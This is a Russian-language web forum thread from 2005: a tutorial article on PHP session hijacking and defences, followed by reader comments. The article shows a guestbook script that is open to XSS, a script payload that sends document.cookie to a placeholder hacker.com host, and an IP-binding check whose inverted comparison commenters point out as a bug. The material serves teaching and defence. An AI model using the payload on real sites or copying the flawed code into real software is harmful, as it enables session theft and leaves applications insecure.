|
|
|
| Статья
В современном web-программирование почти все время используется такое понятие как сессия для разграничения доступа для разных пользователей.
Рассмотрим типичный процесс авторизации с использованием сессии.
1. У пользователя спрашивается логин и пароль.
2. Если авторизация проходит успешно, то создается новая сессия, со значением «успешной авторизацией» :)
3. Пользователю выдается уникальный идентификатор, который заранее не возможно предсказать, а значит и подобрать :).
4. SID записывается либо в cookies браузера, либо передается через адресную строку браузера (если cookies отключены)
Т.е. при запуске какого-то скрипта на сайте, он имеет возможность загрузить те или иные сведения авторизации из массива $_SESSION, если авторизация успешна, то скрипт может предоставить некий ресурс, например вход на панель администрирования сайта.
Проблема заключается в том, что если злоумышленник узнает SID другого пользователя, он сможет подставить его в свои cookies, или адресную строку браузера, т.е. притворится другим человеком :).
Но как же хакер узнает чужой SID?
Существуют два самых распространенных варианта:
1. Например, владелец сессии сам показал ее, неосторожно оставив ссылку такого типа где-нибудь на форуме или гостевой книге.
http://forum.dklab.ru/?sid=01c1739de76ed46e639cd23d33698121
| . Зайдя по этому адресу, хакер «автоматически» становится
пользователем, владеющим сессией с идентификатором
01c1739de76ed46e639cd23d33698121.
Конечно, сессия пользователя уничтожается при отсутствии активности через некоторое время. И поэтому хакеру нужно поторопиться .
2. Если даже сессия не указана явно в строке браузера, а хранится в Куках. У хакера все равно есть возможность завладеть идентификатором. Рассмотрим небольшой скрипт простейшей гостевой книги.
<!--- тут чего-то -->
<form action=addmsg.php method=post>
Текст:<br>
<textarea name="text"></textarea><br>
<input type="submit" value="Добавить">
</form>
|
Addmsg.php
<?php
If(!empty($_POST[‘text’]))
{
$line = str_replace("/\r?\n/s", " ", $_POST['text']);
//запись в базу или в фаил
}
Else
{
Exit(«Ошибка»)
}
?>
|
Обратите внимание что в скрипте явно пропущен вызов функции htmlspecialchars(), которая превращает символы < в < и > в > в результате злоумышленник может вставить в текст любые html теги, в том числе и javascript, в часности.
<script>window.open("http://hacker.com/get.php?"+document.cookie, 'new')
</script>
|
И что мы получаем, маленькую оплошность (казалось бы пропустили всего лишь какой-то htmlspecialchars() перед выводом сообщения в браузер), которая загружает в новом окне страницу хакера передавая ей значения из cookies).
Таким образом, получается что уязвимость одного вида открыла целую дыру для кражи SID.
Для борьбы с уязвимостями в защите лучше всего бороться
«устойчивыми» методами. Один из примеров «устойчивого» прие-
ма – тезис "запрещено все, что явно не разрешено"
В случае кражи SID дело обстоит примерно также, можно скрыть SID и бороться с огрехами в html, однако все равно ошибка выплывет. Не тем так другим способом.
Но существует так называемый метод привязки SID к IP адресу, пользователя владеющего сессией. Такой способ широко распространен во многих известных форумах, например phpBB
Скрипт авторизации
<?php
if (логин и пароль верные) {
$_SESSION['authorized'] = true;
$_SESSION['ip'] = $_SERVER['REMOTE_ADDR'];
}
?>
|
Скрипт, который дает доступ к определенному ресурсу
<?php
if (!empty($_SESSION['authorized']) && $_SESSION['ip'] != $_SERVER
['REMOTE_ADDR']) {
// Доступ к ресурсу открыт.
} else die("Доступ закрыт."); ?>
|
Т.е. теперь с данной сессией может работать только тот пользователь, IP которого совпадает с IP при авторизации. И если хакер перехватит сессию, IP та у него другой :) и поэтому не пройдет авторизацию.
Но в каждом правиле есть свои исключения, и данный метод не исключение.
1. А если пользователь выходит в Интернет через общий прокси-сервер, то они будут иметь один общий IP (такое характерно для сетей университетов и других крупных учреждений), т.е. каждый может украсть SID соседа, хотя бы вышеуказанными методами.
2. Если выход пользователя происходит через модем, и произойдет обрыв связи, то после восстановления связи ему скорей всего дадут другой IP. Что откинет его к категории «хакер»
Последний недостаток имеет место на форумах, где люди любят долго набирать информации, находясь в offline. Т.е. он при новом подсоединение к сети потеряет всю набранную информацию. Выход: (вернее полу выход) Проверять на идентичность только первые 3 цифры IP адреса, это по-прежнему делает кражу SID статистически маловероятным, однако в большинстве случаев, позволяет более мягко отнестись к разрыву соединения.
P.S. отредактируйте пожайлуста что не так, и можно публиковать :).
автор: Лободенко Д.И. | |
|
|
|
|
|
|
|
для: Sin
(10.02.2005 в 19:54)
| | Очень интересно, как раз тут доделал скрипт авторизации с использованием сессий, эта статья была вовремя прочитана!
Большое спасибо за неё! | |
|
|
|
|
|
|
|
для: Sin
(10.02.2005 в 19:54)
| | Хм... здорово - постараюсь сегодня опубликовать. | |
|
|
|
|
|
|
|
для: cheops
(10.02.2005 в 22:21)
| | Посмотрите, плиз, на предмет опечаток и неточностей...
http://www.softtime.ru/info/articlephp.php?id_article=36 | |
|
|
|
|
|
|
|
для: Sin
(10.02.2005 в 19:54)
| | Мне тоже понравилось.
Если можно, то я хотел бы добавить немного от себя =)
Еще одним способом завладеть id сессией - это ссылка на сайт злоумышленника. То есть все, что ему надо это обрезать нужный кусок в $_SERVER['HTTP_REFERER']
Поэтому в чатах и подобных приложениях вместо прямого перехода по ссылке, сначала перенаправляют на свою станицу для редиректа, где и уничтожают (изменяют) id сессии.
Вот такое небольшое дополнение. На авторство не претендую =) | |
|
|
|
|
|
|
|
для: Artem S.
(11.02.2005 в 06:02)
| | Все класно :) Я рад что вам понравилась моя статья. Насчет ниточностей - все нормально, спасибо за коректные исправлния (просто у меня язык кривой :0) ).
Вот только маленькая опечатка в предпоследнем обзаце:
(он будет огульно зачислен в ряды злоумышленников (поэтому писать писать угрозы и призывы ) | |
|
|
|
|
|
|
|
для: Sin
(11.02.2005 в 07:18)
| | а если в качестве защиты допустим использовать дополнительную проверку:
допустим, есть значение SID, оно храниться в куке, мы берем это значение, с помощью уникального ключа шифруем его, и тоже записываем в куку допустим или в сессию, потом при входе на следущую страницу берем это значение, расшифровываем и сравниваем, если равно - пускаем дальше, если неравно - yf[eq с пляжа......
это так, в сыром варианте..... | |
|
|
|
|
|
|
|
для: Sin
(10.02.2005 в 19:54)
| | Очень интересная и полезная статья. Хочу сказать спасибо автору.
PS Нет ли логической ошибки в этой строчке кода (последний блок):
$_SESSION['ip'] != $_SERVER ['REMOTE_ADDR']
По-моему надо так или я что-то не понимаю.
$_SESSION['ip'] == $_SERVER ['REMOTE_ADDR'] | |
|
|
|
|
|
|
|
для: antf
(11.02.2005 в 21:05)
| | Меня этот кусочек тоже в сомнение ввел!!! | |
|
|
|
|
|
|
|
для: Artemy
(11.02.2005 в 21:14)
| | Спасибо что заметили, да действительно ошибка :( | |
|
|
|
|
|
|
|
для: Sin
(12.02.2005 в 16:42)
| | поправлено. | |
|
|
|